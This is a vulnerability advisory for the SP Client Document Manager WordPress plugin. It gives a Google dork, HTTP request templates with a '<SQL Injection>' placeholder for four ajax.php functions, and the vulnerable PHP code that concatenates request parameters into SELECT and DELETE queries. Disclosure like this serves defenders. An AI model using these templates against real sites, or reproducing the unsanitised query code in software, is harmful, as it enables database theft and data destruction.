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Multiple SQL Injection in SP Client Document Manager plugin



Vulnerability title: Multiple SQL Injection in SP Client Document Manager plugin
Plugin: SP Client Document Manager
Vendor: http://smartypantsplugins.com
Product: https://wordpress.org/plugins/sp-client-document-manager/
Affected version: version 2.4.1 and previous version
Fixed version: N/A
Google dork: inurl:wp-content/plugins/sp-client-document-manager
Reported by: Dang Quoc Thai - thai.q.dang (at) itas (dot) vn
Credits to ITAS Team - www.itas.vn


::DESCRITION::

Multiple SQL injection vulnerability has been found and confirmed within the software as an anonymous user. A successful attack could allow an anonymous attacker to access information such as username and password hashes that are stored in the database. The following URL and parameter has been confirmed to suffer from SQL injection: 

Link 1:

POST /wordpress/wp-content/plugins/sp-client-document-manager/ajax.php?function=email-vendor HTTP/1.1
Host: target.org
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0
Accept: text/html, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Referer: http://target.org/wordpress/?page_id=16
Cookie: wordpress_cbbb3ecca6306be6e41d05424d417f7b=test1%7C1414550777%7CxKIQf1812x9lfyhuFgNQQhmDtojDdEnDTfLisVHwnJ6%7Cc493b6c21a4a1916e2bc6076600939af5276b6feb09d06ecc043c37bd92a0748; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_cbbb3ecca6306be6e41d05424d417f7b=test1%7C1414550777%7CxKIQf1812x9lfyhuFgNQQhmDtojDdEnDTfLisVHwnJ6%7C7995fe13b1bbe0761cb05258e4e13b20b27cc9cedf3bc337440672353309e8a3; bp-activity-oldestpage=1
Connection: keep-alive
Content-Length: 33
Content-Type: application/x-www-form-urlencoded; charset=UTF-8

vendor_email[]=<SQL Injection>


Vulnerable file:/wp-content/plugins/sp-client-document-manager/classes/ajax.php
Vulnerable code: (Line: 1516 -> 1530)
    function email_vendor()
    {
        global $wpdb, $current_user;
        if (count($_POST['vendor_email']) == 0) {
            echo '<p style="color:red;font-weight:bold">' . __("Please select at least one file!", "sp-cdm") . '</p>';
        } else {
            $files = implode(",", $_POST['vendor_email']);
            echo "SELECT *  FROM " . $wpdb->prefix . "sp_cu  WHERE id IN (" . $files . ")"."\n";
            $r     = $wpdb->get_results("SELECT *  FROM " . $wpdb->prefix . "sp_cu  WHERE id IN (" . $files . ")", ARRAY_A);



Link 2: http://target.org/wordpress/wp-content/plugins/sp-client-document-manager/ajax.php?function=download-project&id=<SQL Injection>

GET /wp-content/plugins/sp-client-document-manager/ajax.php?function=download-project&id=<SQL Injection> HTTP/1.1
Host: target.org
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=4f7eca4e8ea50fadba7209e47494f29c
Connection: keep-alive

Vulnerable file:/wp-content/plugins/sp-client-document-manager/classes/ajax.php
Vulnerable code: (Line: 1462 -> 1479)

function download_project()
    {
        global $wpdb, $current_user;
        $user_ID     = $_GET['id'];
        $r           = $wpdb->get_results("SELECT *  FROM " . $wpdb->prefix . "sp_cu   where pid = $user_ID  order by date desc", ARRAY_A);
        $r_project   = $wpdb->get_results("SELECT *  FROM " . $wpdb->prefix . "sp_cu_project where id = $user_ID  ", ARRAY_A);
        $return_file = "" . preg_replace('/[^\w\d_ -]/si', '', stripslashes($r_project[0]['name'])) . ".zip";
        $zip         = new Zip();
        $dir         = '' . SP_CDM_UPLOADS_DIR . '' . $r_project[0]['uid'] . '/';
        $path        = '' . SP_CDM_UPLOADS_DIR_URL . '' . $r_project[0]['uid'] . '/';
        //@unlink($dir.$return_file);
        for ($i = 0; $i < count($r); $i++) {
            $zip->addFile(file_get_contents($dir . $r[$i]['file']), $r[$i]['file'], filectime($dir . $r[$i]['file']));
        }
        $zip->finalize(); // as we are not using getZipData or getZipFile, we need to call finalize ourselves.
        $zip->setZipFile($dir . $return_file);
        header("Location: " . $path . $return_file . "");
    }

Link 3: http://target.org/wordpress/wp-content/plugins/sp-client-document-manager/ajax.php?function=download-archive&id=<SQL Injection>

GET /wp-content/plugins/sp-client-document-manager/ajax.php?function=download-archive&id=<SQL Injection> HTTP/1.1
Host: target.org
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=4f7eca4e8ea50fadba7209e47494f29c
Connection: keep-alive
Vulnerable file:/wp-content/plugins/sp-client-document-manager/classes/ajax.php
Vulnerable code: (Line: 1480 -> 1496)


function download_archive()
    {
        global $wpdb, $current_user;
        $user_ID     = $_GET['id'];
        $dir         = '' . SP_CDM_UPLOADS_DIR . '' . $user_ID . '/';
        $path        = '' . SP_CDM_UPLOADS_DIR_URL . '' . $user_ID . '/';
        $return_file = "Account.zip";
        $zip         = new Zip();
        $r           = $wpdb->get_results("SELECT *  FROM " . $wpdb->prefix . "sp_cu   where uid = $user_ID  order by date desc", ARRAY_A);
        //@unlink($dir.$return_file);
        for ($i = 0; $i < count($r); $i++) {
            $zip->addFile(file_get_contents($dir . $r[$i]['file']), $r[$i]['file'], filectime($dir . $r[$i]['file']));
        }
        $zip->finalize(); // as we are not using getZipData or getZipFile, we need to call finalize ourselves.
        $zip->setZipFile($dir . $return_file);
        header("Location: " . $path . $return_file . "");
    }
 
Link 4: http://target.org/wordpress/wp-content/plugins/sp-client-document-manager/ajax.php?function=remove-category&id=<SQL Injection>

GET /wp-content/plugins/sp-client-document-manager/ajax.php?function=remove-category&id=<SQL Injection> HTTP/1.1
Host: target.org
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=4f7eca4e8ea50fadba7209e47494f29c
Connection: keep-alive
Vulnerable file:/wp-content/plugins/sp-client-document-manager/classes/ajax.php
Vulnerable code: (Line: 1480 -> 1496)

Vulnerable file:/wp-content/plugins/sp-client-document-manager/classes/ajax.php
Vulnerable code: (Line: 368 -> 372)

    function remove_cat()
    {
        global $wpdb, $current_user;
        $wpdb->query("DELETE FROM " . $wpdb->prefix . "sp_cu_project WHERE id = " . $_REQUEST['id'] . "	");
        $wpdb->query("DELETE FROM " . $wpdb->prefix . "sp_cu WHERE pid = " . $_REQUEST['id'] . "	");
}  


::DISCLOSURE::
+ 10/30/2014: Notify to vendor - vendor does not response
+ 11/08/2014: Notify to vendor - Vendor blocks IPs from Vietnam
+ 11/05/2014: Notify to vendor - vendor does not response
+ 11/20/2014: Public information

::REFERENCE::
https://www.youtube.com/watch?v=AR3xCcuEJHc


::DISCLAIMER::
THE INFORMATION PRESENTED HEREIN ARE PROVIDED ?AS IS? WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED TO, ANY IMPLIED WARRANTIES AND MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE OR WARRANTIES OF QUALITY OR COMPLETENESS. THE INFORMATION PRESENTED HERE IS A SERVICE TO THE SECURITY COMMUNITY AND THE PRODUCT VENDORS. ANY APPLICATION OR DISTRIBUTION OF THIS INFORMATION CONSTITUTES ACCEPTANCE ACCEPTANCE AS IS, AND AT THE USER'S OWN RISK.